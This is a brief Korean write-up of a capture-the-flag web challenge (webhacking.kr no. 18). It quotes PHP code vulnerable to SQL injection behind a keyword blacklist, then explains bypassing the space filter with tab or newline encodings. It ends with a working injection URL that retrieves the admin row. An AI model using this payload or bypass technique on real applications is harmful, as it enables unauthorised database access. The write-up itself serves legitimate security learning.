728x90
<?php
if($_GET['no']){
$db = dbconnect();
if(preg_match("/ |\/|\(|\)|\||&|select|from|0x/i",$_GET['no'])) exit("no hack");
$result = mysqli_fetch_array(mysqli_query($db,"select id from chall18 where id='guest' and no=$_GET[no]")); // admin's no = 2
if($result['id']=="guest") echo "hi guest";
if($result['id']=="admin"){
solve(18);
echo "hi admin!";
}
}
?>
띄워쓰기 , /, (, ), |, &, select, from, 0x 가 필터링 된다.
admin의 no는 2이고 admin을 조회해야 풀린다.
1을 대입해보면 hi guest가 출력된다. 즉 guest의 no는 1이다.
or, = 필터링되지 않고 있다. or과 no=2를 공격에 쓸 수 있다.
띄워쓰기만 우회하면 된다. 테스트해보니 띄워쓰기는 %09, %0a, %0d로 우회가능한 것을 확인했다. 이 중 %09를 택했다.
%09 : Tab
%0a : line feed
%0d : carriage return
https://webhacking.kr/challenge/web-32/?no=99%09or%09no=2
99는 임의의 값이다. 1만 아니면 된다. 위와 같이 쿼리를 입력하면 풀린다.
728x90